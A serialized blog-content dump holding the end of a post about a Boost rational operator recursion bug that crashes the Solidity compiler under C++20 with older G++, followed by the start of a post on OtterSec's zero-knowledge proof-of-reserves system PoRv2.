",{"type":21,"tag":335,"props":92285,"children":92288},{"href":92286,"rel":92287},"https://github.com/boostorg/rational/issues/43",[339],[92289],{"type":26,"value":92290},"reported and fixed in Boost rational",{"type":26,"value":92292},", but only in version 1.75+.",{"type":21,"tag":22,"props":92294,"children":92295},{},[92296],{"type":26,"value":92297},"Here’s the one-line fix:",{"type":21,"tag":75,"props":92299,"children":92301},{"code":92300,"language":40811,"meta":7,"className":40809,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n",[92302],{"type":21,"tag":66,"props":92303,"children":92304},{"__ignoreMap":7},[92305,92313,92320,92328,92336,92344,92351,92359,92367],{"type":21,"tag":85,"props":92306,"children":92307},{"class":87,"line":88},[92308],{"type":21,"tag":85,"props":92309,"children":92310},{"style":114},[92311],{"type":26,"value":92312},"template \u003Cclass Arg, class IntType>\n",{"type":21,"tag":85,"props":92314,"children":92315},{"class":87,"line":98},[92316],{"type":21,"tag":85,"props":92317,"children":92318},{"style":114},[92319],{"type":26,"value":91929},{"type":21,"tag":85,"props":92321,"children":92322},{"class":87,"line":151},[92323],{"type":21,"tag":85,"props":92324,"children":92325},{"style":114},[92326],{"type":26,"value":92327},"inline typename boost::enable_if_c \u003C\n",{"type":21,"tag":85,"props":92329,"children":92330},{"class":87,"line":160},[92331],{"type":21,"tag":85,"props":92332,"children":92333},{"style":114},[92334],{"type":26,"value":92335},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":21,"tag":85,"props":92337,"children":92338},{"class":87,"line":185},[92339],{"type":21,"tag":85,"props":92340,"children":92341},{"style":114},[92342],{"type":26,"value":92343},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":21,"tag":85,"props":92345,"children":92346},{"class":87,"line":501},[92347],{"type":21,"tag":85,"props":92348,"children":92349},{"style":114},[92350],{"type":26,"value":11296},{"type":21,"tag":85,"props":92352,"children":92353},{"class":87,"line":697},[92354],{"type":21,"tag":85,"props":92355,"children":92356},{"style":5026},[92357],{"type":26,"value":92358},"-     return a == b;\n",{"type":21,"tag":85,"props":92360,"children":92361},{"class":87,"line":706},[92362],{"type":21,"tag":85,"props":92363,"children":92364},{"style":2285},[92365],{"type":26,"value":92366},"+     return a.operator==(b);\n",{"type":21,"tag":85,"props":92368,"children":92369},{"class":87,"line":1100},[92370],{"type":21,"tag":85,"props":92371,"children":92372},{"style":114},[92373],{"type":26,"value":2671},{"type":21,"tag":22,"props":92375,"children":92376},{},[92377,92379,92384,92386,92391],{"type":26,"value":92378},"Instead of calling ",{"type":21,"tag":66,"props":92380,"children":92382},{"className":92381},[],[92383],{"type":26,"value":90709},{"type":26,"value":92385}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":21,"tag":66,"props":92387,"children":92389},{"className":92388},[],[92390],{"type":26,"value":90717},{"type":26,"value":73},{"type":21,"tag":22,"props":92393,"children":92394},{},[92395],{"type":26,"value":92396},"This prevents C++20 from triggering recursive rewrites.",{"type":21,"tag":19218,"props":92398,"children":92399},{},[],{"type":21,"tag":54,"props":92401,"children":92403},{"id":92402},"part-iv-how-this-breaks-solidity",[92404],{"type":26,"value":92405},"Part IV: How This Breaks Solidity",{"type":21,"tag":22,"props":92407,"children":92408},{},[92409,92411,92416],{"type":26,"value":92410},"The Solidity codebase uses ",{"type":21,"tag":66,"props":92412,"children":92414},{"className":92413},[],[92415],{"type":26,"value":90564},{"type":26,"value":92417}," to represent certain compile-time constant expressions.",{"type":21,"tag":22,"props":92419,"children":92420},{},[92421,92423,92429],{"type":26,"value":92422},"One snippet that can trigger this issue appears in ",{"type":21,"tag":66,"props":92424,"children":92426},{"className":92425},[],[92427],{"type":26,"value":92428},"DeclarationTypeChecker::endVisit",{"type":26,"value":172},{"type":21,"tag":75,"props":92431,"children":92433},{"code":92432,"language":29555,"meta":7,"className":29553,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[92434],{"type":21,"tag":66,"props":92435,"children":92436},{"__ignoreMap":7},[92437,92484,92509,92516,92594,92601,92654,92682,92689,92709,92716,92756,92763],{"type":21,"tag":85,"props":92438,"children":92439},{"class":87,"line":88},[92440,92444,92449,92453,92457,92462,92466,92471,92475,92479],{"type":21,"tag":85,"props":92441,"children":92442},{"style":2885},[92443],{"type":26,"value":15999},{"type":21,"tag":85,"props":92445,"children":92446},{"style":114},[92447],{"type":26,"value":92448}," (Expression ",{"type":21,"tag":85,"props":92450,"children":92451},{"style":102},[92452],{"type":26,"value":10069},{"type":21,"tag":85,"props":92454,"children":92455},{"style":169},[92456],{"type":26,"value":3052},{"type":21,"tag":85,"props":92458,"children":92459},{"style":114},[92460],{"type":26,"value":92461}," length ",{"type":21,"tag":85,"props":92463,"children":92464},{"style":169},[92465],{"type":26,"value":741},{"type":21,"tag":85,"props":92467,"children":92468},{"style":120},[92469],{"type":26,"value":92470}," _typeName",{"type":21,"tag":85,"props":92472,"children":92473},{"style":114},[92474],{"type":26,"value":73},{"type":21,"tag":85,"props":92476,"children":92477},{"style":1021},[92478],{"type":26,"value":2863},{"type":21,"tag":85,"props":92480,"children":92481},{"style":114},[92482],{"type":26,"value":92483},"()) {\n",{"type":21,"tag":85,"props":92485,"children":92486},{"class":87,"line":98},[92487,92492,92496,92500,92504],{"type":21,"tag":85,"props":92488,"children":92489},{"style":114},[92490],{"type":26,"value":92491},"    std::optional",{"type":21,"tag":85,"props":92493,"children":92494},{"style":169},[92495],{"type":26,"value":117},{"type":21,"tag":85,"props":92497,"children":92498},{"style":114},[92499],{"type":26,"value":91569},{"type":21,"tag":85,"props":92501,"children":92502},{"style":169},[92503],{"type":26,"value":10877},{"type":21,"tag":85,"props":92505,"children":92506},{"style":114},[92507],{"type":26,"value":92508}," lengthValue;\n",{"type":21,"tag":85,"props":92510,"children":92511},{"class":87,"line":151},[92512],{"type":21,"tag":85,"props":92513,"children":92514},{"emptyLinePlaceholder":16},[92515],{"type":26,"value":703},{"type":21,"tag":85,"props":92517,"children":92518},{"class":87,"line":160},[92519,92523,92527,92531,92535,92539,92543,92547,92551,92556,92560,92564,92568,92572,92576,92581,92585,92589],{"type":21,"tag":85,"props":92520,"children":92521},{"style":2885},[92522],{"type":26,"value":12696},{"type":21,"tag":85,"props":92524,"children":92525},{"style":114},[92526],{"type":26,"value":717},{"type":21,"tag":85,"props":92528,"children":92529},{"style":120},[92530],{"type":26,"value":2863},{"type":21,"tag":85,"props":92532,"children":92533},{"style":114},[92534],{"type":26,"value":14175},{"type":21,"tag":85,"props":92536,"children":92537},{"style":1021},[92538],{"type":26,"value":30607},{"type":21,"tag":85,"props":92540,"children":92541},{"style":114},[92542],{"type":26,"value":30612},{"type":21,"tag":85,"props":92544,"children":92545},{"style":120},[92546],{"type":26,"value":33202},{"type":21,"tag":85,"props":92548,"children":92549},{"style":169},[92550],{"type":26,"value":14603},{"type":21,"tag":85,"props":92552,"children":92553},{"style":120},[92554],{"type":26,"value":92555}," length",{"type":21,"tag":85,"props":92557,"children":92558},{"style":114},[92559],{"type":26,"value":14175},{"type":21,"tag":85,"props":92561,"children":92562},{"style":1021},[92563],{"type":26,"value":30607},{"type":21,"tag":85,"props":92565,"children":92566},{"style":114},[92567],{"type":26,"value":30612},{"type":21,"tag":85,"props":92569,"children":92570},{"style":120},[92571],{"type":26,"value":33202},{"type":21,"tag":85,"props":92573,"children":92574},{"style":114},[92575],{"type":26,"value":14175},{"type":21,"tag":85,"props":92577,"children":92578},{"style":1021},[92579],{"type":26,"value":92580},"category",{"type":21,"tag":85,"props":92582,"children":92583},{"style":114},[92584],{"type":26,"value":14461},{"type":21,"tag":85,"props":92586,"children":92587},{"style":169},[92588],{"type":26,"value":2936},{"type":21,"tag":85,"props":92590,"children":92591},{"style":114},[92592],{"type":26,"value":92593}," Type::Category::RationalNumber)\n",{"type":21,"tag":85,"props":92595,"children":92596},{"class":87,"line":185},[92597],{"type":21,"tag":85,"props":92598,"children":92599},{"style":114},[92600],{"type":26,"value":82304},{"type":21,"tag":85,"props":92602,"children":92603},{"class":87,"line":501},[92604,92609,92613,92618,92622,92627,92631,92636,92640,92645,92649],{"type":21,"tag":85,"props":92605,"children":92606},{"style":2885},[92607],{"type":26,"value":92608},"    else",{"type":21,"tag":85,"props":92610,"children":92611},{"style":2885},[92612],{"type":26,"value":16208},{"type":21,"tag":85,"props":92614,"children":92615},{"style":114},[92616],{"type":26,"value":92617}," (std::optional",{"type":21,"tag":85,"props":92619,"children":92620},{"style":169},[92621],{"type":26,"value":117},{"type":21,"tag":85,"props":92623,"children":92624},{"style":114},[92625],{"type":26,"value":92626},"ConstantEvaluator::TypedRational",{"type":21,"tag":85,"props":92628,"children":92629},{"style":169},[92630],{"type":26,"value":10877},{"type":21,"tag":85,"props":92632,"children":92633},{"style":114},[92634],{"type":26,"value":92635}," value ",{"type":21,"tag":85,"props":92637,"children":92638},{"style":169},[92639],{"type":26,"value":741},{"type":21,"tag":85,"props":92641,"children":92642},{"style":114},[92643],{"type":26,"value":92644}," ConstantEvaluator::",{"type":21,"tag":85,"props":92646,"children":92647},{"style":1021},[92648],{"type":26,"value":38453},{"type":21,"tag":85,"props":92650,"children":92651},{"style":114},[92652],{"type":26,"value":92653},"(...))\n",{"type":21,"tag":85,"props":92655,"children":92656},{"class":87,"line":697},[92657,92662,92666,92670,92674,92678],{"type":21,"tag":85,"props":92658,"children":92659},{"style":114},[92660],{"type":26,"value":92661},"        lengthValue ",{"type":21,"tag":85,"props":92663,"children":92664},{"style":169},[92665],{"type":26,"value":741},{"type":21,"tag":85,"props":92667,"children":92668},{"style":120},[92669],{"type":26,"value":32956},{"type":21,"tag":85,"props":92671,"children":92672},{"style":114},[92673],{"type":26,"value":14175},{"type":21,"tag":85,"props":92675,"children":92676},{"style":120},[92677],{"type":26,"value":39600},{"type":21,"tag":85,"props":92679,"children":92680},{"style":114},[92681],{"type":26,"value":2535},{"type":21,"tag":85,"props":92683,"children":92684},{"class":87,"line":706},[92685],{"type":21,"tag":85,"props":92686,"children":92687},{"emptyLinePlaceholder":16},[92688],{"type":26,"value":703},{"type":21,"tag":85,"props":92690,"children":92691},{"class":87,"line":1100},[92692,92696,92700,92704],{"type":21,"tag":85,"props":92693,"children":92694},{"style":2885},[92695],{"type":26,"value":12696},{"type":21,"tag":85,"props":92697,"children":92698},{"style":114},[92699],{"type":26,"value":717},{"type":21,"tag":85,"props":92701,"children":92702},{"style":169},[92703],{"type":26,"value":21049},{"type":21,"tag":85,"props":92705,"children":92706},{"style":114},[92707],{"type":26,"value":92708},"lengthValue)\n",{"type":21,"tag":85,"props":92710,"children":92711},{"class":87,"line":1339},[92712],{"type":21,"tag":85,"props":92713,"children":92714},{"style":114},[92715],{"type":26,"value":82304},{"type":21,"tag":85,"props":92717,"children":92718},{"class":87,"line":1348},[92719,92723,92727,92731,92735,92739,92743,92747,92751],{"type":21,"tag":85,"props":92720,"children":92721},{"style":2885},[92722],{"type":26,"value":92608},{"type":21,"tag":85,"props":92724,"children":92725},{"style":2885},[92726],{"type":26,"value":16208},{"type":21,"tag":85,"props":92728,"children":92729},{"style":114},[92730],{"type":26,"value":717},{"type":21,"tag":85,"props":92732,"children":92733},{"style":169},[92734],{"type":26,"value":3052},{"type":21,"tag":85,"props":92736,"children":92737},{"style":114},[92738],{"type":26,"value":90540},{"type":21,"tag":85,"props":92740,"children":92741},{"style":169},[92742],{"type":26,"value":2936},{"type":21,"tag":85,"props":92744,"children":92745},{"style":2285},[92746],{"type":26,"value":2830},{"type":21,"tag":85,"props":92748,"children":92749},{"style":114},[92750],{"type":26,"value":1900},{"type":21,"tag":85,"props":92752,"children":92753},{"style":92},[92754],{"type":26,"value":92755},"  // \u003C-- Infinite recursion happens here\n",{"type":21,"tag":85,"props":92757,"children":92758},{"class":87,"line":1386},[92759],{"type":21,"tag":85,"props":92760,"children":92761},{"style":114},[92762],{"type":26,"value":82304},{"type":21,"tag":85,"props":92764,"children":92765},{"class":87,"line":1394},[92766],{"type":21,"tag":85,"props":92767,"children":92768},{"style":114},[92769],{"type":26,"value":2671},{"type":21,"tag":22,"props":92771,"children":92772},{},[92773],{"type":26,"value":92774},"Under normal circumstances, this expression is benign. But:",{"type":21,"tag":17108,"props":92776,"children":92777},{},[92778,92783,92788],{"type":21,"tag":845,"props":92779,"children":92780},{},[92781],{"type":26,"value":92782},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":21,"tag":845,"props":92784,"children":92785},{},[92786],{"type":26,"value":92787},"C++20 reverses the arguments",{"type":21,"tag":845,"props":92789,"children":92790},{},[92791],{"type":26,"value":92792},"The non-member operator recursively calls itself",{"type":21,"tag":22,"props":92794,"children":92795},{},[92796],{"type":26,"value":92797},"💥: segmentation fault.",{"type":21,"tag":19218,"props":92799,"children":92800},{},[],{"type":21,"tag":54,"props":92802,"children":92804},{"id":92803},"part-v-what-environments-are-affected",[92805],{"type":26,"value":92806},"Part V: What Environments are Affected?",{"type":21,"tag":22,"props":92808,"children":92809},{},[92810],{"type":26,"value":92811},"If a system uses any of the following:",{"type":21,"tag":17108,"props":92813,"children":92814},{},[92815,92820,92825],{"type":21,"tag":845,"props":92816,"children":92817},{},[92818],{"type":26,"value":92819},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":21,"tag":845,"props":92821,"children":92822},{},[92823],{"type":26,"value":92824},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":21,"tag":845,"props":92826,"children":92827},{},[92828],{"type":26,"value":92829},"C++20 enabled (default in recent Solidity builds)",{"type":21,"tag":22,"props":92831,"children":92832},{},[92833,92835,92840,92842,92848],{"type":26,"value":92834},"They will encounter this crash ",{"type":21,"tag":873,"props":92836,"children":92837},{},[92838],{"type":26,"value":92839},"as soon as",{"type":26,"value":92841}," it processes a Solidity source with a length expression like ",{"type":21,"tag":66,"props":92843,"children":92845},{"className":92844},[],[92846],{"type":26,"value":92847},"T[0]",{"type":26,"value":92849}," or anything involving compile-time rational comparisons.",{"type":21,"tag":19218,"props":92851,"children":92852},{},[],{"type":21,"tag":54,"props":92854,"children":92856},{"id":92855},"recommendations",[92857],{"type":26,"value":92858},"Recommendations",{"type":21,"tag":17108,"props":92860,"children":92861},{},[92862,92870],{"type":21,"tag":845,"props":92863,"children":92864},{},[92865],{"type":21,"tag":873,"props":92866,"children":92867},{},[92868],{"type":26,"value":92869},"Update Boost to ≥ 1.75",{"type":21,"tag":845,"props":92871,"children":92872},{},[92873],{"type":21,"tag":873,"props":92874,"children":92875},{},[92876],{"type":26,"value":92877},"Pin G++ to v14 or later",{"type":21,"tag":19218,"props":92879,"children":92880},{},[],{"type":21,"tag":54,"props":92882,"children":92883},{"id":29375},[92884],{"type":26,"value":19373},{"type":21,"tag":22,"props":92886,"children":92887},{},[92888],{"type":26,"value":92889},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":21,"tag":22,"props":92891,"children":92892},{},[92893,92895,92899],{"type":26,"value":92894},"But it ",{"type":21,"tag":873,"props":92896,"children":92897},{},[92898],{"type":26,"value":4739},{"type":26,"value":92900}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":21,"tag":22,"props":92902,"children":92903},{},[92904],{"type":26,"value":92905},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":21,"tag":22,"props":92907,"children":92908},{},[92909],{"type":26,"value":92910},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":21,"tag":3632,"props":92912,"children":92913},{},[92914],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":92916},[92917,92918,92923,92926,92927,92928,92929,92930],{"id":90600,"depth":98,"text":90603},{"id":90689,"depth":98,"text":90692,"children":92919},[92920,92921,92922],{"id":90695,"depth":151,"text":90698},{"id":90763,"depth":151,"text":90766},{"id":90854,"depth":151,"text":90857},{"id":91438,"depth":98,"text":91441,"children":92924},[92925],{"id":91444,"depth":151,"text":91447},{"id":91555,"depth":98,"text":91558},{"id":92402,"depth":98,"text":92405},{"id":92803,"depth":98,"text":92806},{"id":92855,"depth":98,"text":92858},{"id":29375,"depth":98,"text":19373},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":92935,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":92936,"description":92937,"date":92938,"author":31645,"image":92939,"isFeatured":16,"onBlogPage":16,"tags":92941,"body":92944,"_type":3642,"_id":97720,"_source":3644,"_file":97721,"_stem":97722,"_extension":3647},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":92940,"width":14041,"height":14041},"/posts/por/title.png",[92942,92943],"zk","por",{"type":18,"children":92945,"toc":97697},[92946,92952,92964,92976,92981,93013,93027,93033,93045,93050,93055,93092,93097,93103,93108,93115,93120,93146,93151,93157,93177,93191,93199,93204,93209,93217,93230,93236,93318,93324,93329,93342,93347,93354,93378,93386,93391,93397,93402,93850,93863,93869,93874,93882,93900,93908,93921,93929,95590,95595,95602,95608,95613,95620,95636,95643,95651,95658,97169,97174,97181,97187,97192,97219,97224,97243,97249,97257,97275,97324,97332,97351,97373,97379,97392,97397,97404,97409,97472,97477,97484,97504,97510,97515,97521,97526,97570,97575,97583,97589,97594,97636,97641,97649,97654,97662,97666,97671,97684],{"type":21,"tag":54,"props":92947,"children":92949},{"id":92948},"what-is-a-proof-of-reserves",[92950],{"type":26,"value":92951},"What is a Proof of Reserves?",{"type":21,"tag":22,"props":92953,"children":92954},{},[92955,92957,92962],{"type":26,"value":92956},"At its heart, ",{"type":21,"tag":873,"props":92958,"children":92959},{},[92960],{"type":26,"value":92961},"Proof of Reserves (PoR)",{"type":26,"value":92963}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":21,"tag":22,"props":92965,"children":92966},{},[92967,92969,92974],{"type":26,"value":92968},"Think of it this way: ",{"type":21,"tag":873,"props":92970,"children":92971},{},[92972],{"type":26,"value":92973},"PoR",{"type":26,"value":92975}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":21,"tag":22,"props":92977,"children":92978},{},[92979],{"type":26,"value":92980},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":21,"tag":22,"props":92982,"children":92983},{},[92984,92986,92993,92995,93002,93004,93011],{"type":26,"value":92985},"We from OtterSec, in partnership with ",{"type":21,"tag":335,"props":92987,"children":92990},{"href":92988,"rel":92989},"https://backpack.exchange/",[339],[92991],{"type":26,"value":92992},"Backpack",{"type":26,"value":92994},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":21,"tag":335,"props":92996,"children":92999},{"href":92997,"rel":92998},"https://github.com/otter-sec/por_v2",[339],[93000],{"type":26,"value":93001},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":26,"value":93003}," was based on ",{"type":21,"tag":335,"props":93005,"children":93008},{"href":93006,"rel":93007},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[339],[93009],{"type":26,"value":93010},"OKX Proof of Reserves algorithm",{"type":26,"value":93012}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":21,"tag":22,"props":93014,"children":93015},{},[93016,93018,93025],{"type":26,"value":93017},"In addition, we also created and open-sourced a ",{"type":21,"tag":335,"props":93019,"children":93022},{"href":93020,"rel":93021},"https://github.com/otter-sec/por_verifier_server",[339],[93023],{"type":26,"value":93024},"PoR verifier server",{"type":26,"value":93026}," that receives the proofs and validates them.",{"type":21,"tag":54,"props":93028,"children":93030},{"id":93029},"why-do-we-use-zk-for-por",[93031],{"type":26,"value":93032},"Why do we use ZK for PoR?",{"type":21,"tag":22,"props":93034,"children":93035},{},[93036,93038,93043],{"type":26,"value":93037},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":21,"tag":873,"props":93039,"children":93040},{},[93041],{"type":26,"value":93042},"Zero-Knowledge Proofs (ZKPs)",{"type":26,"value":93044}," become game-changers.",{"type":21,"tag":22,"props":93046,"children":93047},{},[93048],{"type":26,"value":93049},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":21,"tag":22,"props":93051,"children":93052},{},[93053],{"type":26,"value":93054},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":21,"tag":841,"props":93056,"children":93057},{},[93058,93075],{"type":21,"tag":845,"props":93059,"children":93060},{},[93061,93066,93068,93074],{"type":21,"tag":873,"props":93062,"children":93063},{},[93064],{"type":26,"value":93065},"Sum proof",{"type":26,"value":93067},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":21,"tag":66,"props":93069,"children":93071},{"className":93070},[],[93072],{"type":26,"value":93073},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":26,"value":21170},{"type":21,"tag":845,"props":93076,"children":93077},{},[93078,93083,93085,93090],{"type":21,"tag":873,"props":93079,"children":93080},{},[93081],{"type":26,"value":93082},"Non-negativity",{"type":26,"value":93084},": All users have a ",{"type":21,"tag":873,"props":93086,"children":93087},{},[93088],{"type":26,"value":93089},"positive",{"type":26,"value":93091}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":21,"tag":22,"props":93093,"children":93094},{},[93095],{"type":26,"value":93096},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":21,"tag":54,"props":93098,"children":93100},{"id":93099},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[93101],{"type":26,"value":93102},"What is a Merkle Tree and how does it help in a PoR?",{"type":21,"tag":22,"props":93104,"children":93105},{},[93106],{"type":26,"value":93107},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":21,"tag":22,"props":93109,"children":93110},{},[93111],{"type":21,"tag":4681,"props":93112,"children":93114},{"alt":51034,"src":93113},"/posts/por/merkle-tree.png",[],{"type":21,"tag":22,"props":93116,"children":93117},{},[93118],{"type":26,"value":93119},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":21,"tag":841,"props":93121,"children":93122},{},[93123,93136,93141],{"type":21,"tag":845,"props":93124,"children":93125},{},[93126,93128,93134],{"type":26,"value":93127},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":21,"tag":66,"props":93129,"children":93131},{"className":93130},[],[93132],{"type":26,"value":93133},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":26,"value":93135},");",{"type":21,"tag":845,"props":93137,"children":93138},{},[93139],{"type":26,"value":93140},"The Merkle tree is made public;",{"type":21,"tag":845,"props":93142,"children":93143},{},[93144],{"type":26,"value":93145},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":21,"tag":22,"props":93147,"children":93148},{},[93149],{"type":26,"value":93150},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":21,"tag":54,"props":93152,"children":93154},{"id":93153},"ottersec-porv2",[93155],{"type":26,"value":93156},"OtterSec PoRv2",{"type":21,"tag":22,"props":93158,"children":93159},{},[93160,93166,93168,93175],{"type":21,"tag":335,"props":93161,"children":93163},{"href":92997,"rel":93162},[339],[93164],{"type":26,"value":93165},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":26,"value":93167},", which uses the ",{"type":21,"tag":335,"props":93169,"children":93172},{"href":93170,"rel":93171},"https://github.com/0xPolygonZero/plonky2",[339],[93173],{"type":26,"value":93174},"plonky2 ZK algorithm",{"type":26,"value":93176}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":21,"tag":22,"props":93178,"children":93179},{},[93180,93182,93189],{"type":26,"value":93181},"We named it PoRv2 because we already had a version based on ",{"type":21,"tag":335,"props":93183,"children":93186},{"href":93184,"rel":93185},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[339],[93187],{"type":26,"value":93188},"Vitalik's proof of solvency",{"type":26,"value":93190},", which was not optimal.",{"type":21,"tag":22,"props":93192,"children":93193},{},[93194],{"type":21,"tag":873,"props":93195,"children":93196},{},[93197],{"type":26,"value":93198},"Non-negativity Proof",{"type":21,"tag":22,"props":93200,"children":93201},{},[93202],{"type":26,"value":93203},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":21,"tag":22,"props":93205,"children":93206},{},[93207],{"type":26,"value":93208},"We also check for overflows during summation to prevent tampering in the final result.",{"type":21,"tag":22,"props":93210,"children":93211},{},[93212],{"type":21,"tag":873,"props":93213,"children":93214},{},[93215],{"type":26,"value":93216},"Sum Proof",{"type":21,"tag":22,"props":93218,"children":93219},{},[93220,93222,93228],{"type":26,"value":93221},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":21,"tag":66,"props":93223,"children":93225},{"className":93224},[],[93226],{"type":26,"value":93227},"BTC final: user1_btc + user2_btc ...",{"type":26,"value":93229},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":21,"tag":10022,"props":93231,"children":93233},{"id":93232},"what-are-the-ottersec-porv2-key-points",[93234],{"type":26,"value":93235},"What are the OtterSec PoRv2 key points?",{"type":21,"tag":841,"props":93237,"children":93238},{},[93239,93249,93267,93277,93308],{"type":21,"tag":845,"props":93240,"children":93241},{},[93242,93247],{"type":21,"tag":873,"props":93243,"children":93244},{},[93245],{"type":26,"value":93246},"Transparency",{"type":26,"value":93248},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":21,"tag":845,"props":93250,"children":93251},{},[93252,93257,93259,93266],{"type":21,"tag":873,"props":93253,"children":93254},{},[93255],{"type":26,"value":93256},"Time-efficiency",{"type":26,"value":93258},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":21,"tag":335,"props":93260,"children":93263},{"href":93261,"rel":93262},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[339],[93264],{"type":26,"value":93265},"Check our benchmark",{"type":26,"value":73},{"type":21,"tag":845,"props":93268,"children":93269},{},[93270,93275],{"type":21,"tag":873,"props":93271,"children":93272},{},[93273],{"type":26,"value":93274},"Memory-efficiency",{"type":26,"value":93276},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":21,"tag":845,"props":93278,"children":93279},{},[93280,93285,93287,93292,93294,93299,93301,93306],{"type":21,"tag":873,"props":93281,"children":93282},{},[93283],{"type":26,"value":93284},"Small-proofs",{"type":26,"value":93286},": We were able to reduce the final proof to less than ",{"type":21,"tag":873,"props":93288,"children":93289},{},[93290],{"type":26,"value":93291},"500KB",{"type":26,"value":93293}," and each inclusion proof to ",{"type":21,"tag":873,"props":93295,"children":93296},{},[93297],{"type":26,"value":93298},"~52KB",{"type":26,"value":93300},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":21,"tag":873,"props":93302,"children":93303},{},[93304],{"type":26,"value":93305},"200MB",{"type":26,"value":93307}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":21,"tag":845,"props":93309,"children":93310},{},[93311,93316],{"type":21,"tag":873,"props":93312,"children":93313},{},[93314],{"type":26,"value":93315},"Privacy",{"type":26,"value":93317},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":21,"tag":54,"props":93319,"children":93321},{"id":93320},"zk-circuits",[93322],{"type":26,"value":93323},"ZK 